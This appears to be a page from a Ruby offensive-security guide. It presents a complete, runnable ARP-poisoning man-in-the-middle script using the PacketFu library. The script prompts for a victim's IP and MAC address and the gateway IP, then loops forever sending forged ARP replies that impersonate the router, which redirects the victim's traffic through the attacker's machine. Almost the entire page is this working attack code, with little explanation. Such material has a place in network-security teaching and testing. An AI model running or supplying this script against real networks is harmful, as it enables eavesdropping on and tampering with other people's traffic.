Man in the Middle Attack (MiTM)

Example of a more elaborate MiTM attack using ARP Poisoning with PacketFU and socket using source code in this book as base.

  1. require 'packetfu'
  2. require 'socket'
  3. def poison(lip, lmac, vip, vmac, rip, int_name)
  4. puts "Sending ARP Packet Spoof Every 29 Seconds…"
  5. x = PacketFu::ARPPacket.new(:flavor => "Linux")
  6. x.eth_saddr = lmac # your MAC Address
  7. x.eth_daddr = vmac # victim MAC Address
  8. x.arp_saddr_mac = lmac # your MAC Address
  9. x.arp_daddr_mac = vmac # victim MAC Address
  10. x.arp_saddr_ip = rip # Router IP Address
  11. x.arp_daddr_ip= vip # Victim IP Address
  12. x.arp_opcode = 2 # ARP Reply Code
  13. while true do
  14. x.to_w(int_name) # Put Packet to wire interface
  15. sleep(29) # interval in seconds, change for your preference
  16. end
  17. end
  18. def get_ifconfig(int_name)
  19. int_config = PacketFu::Utils.whoami?(:iface => int_name)
  20. return int_config[:ip_saddr], int_config[:eth_saddr]
  21. end
  22. def get_victim_info
  23. puts "enter victim ip"
  24. vip = gets
  25. puts "enter victim MAC"
  26. vmac = gets
  27. puts "enter gateway ip"
  28. rip = gets
  29. return vip, vmac, rip
  30. end
  31. # need to be root to run this
  32. unless Process.uid.zero?
  33. puts "you need to run this script as root!"
  34. exit 0
  35. end
  36. # select interface to use and start setup
  37. interfaces = Socket.getifaddrs.map { |i| i.name }.compact.uniq
  38. list = Hash[(0...interfaces.size).zip interfaces]
  39. list.each do |l, v|
  40. puts "#{l} #{v}"
  41. end
  42. puts "enter interface number to use on MITM"
  43. int_number = gets
  44. if list.key?(int_number.to_i)
  45. lip, lmac = get_ifconfig(list.fetch(int_number.to_i))
  46. vip, vmac, rip = get_victim_info()
  47. poison(lip, lmac, vip, vmac, rip, list.fetch(int_number.to_i))
  48. else
  49. puts "Selected interface does not exists"
  50. end

Source: Ruby-MiTM and Rubyfu ARP Spoofing topic.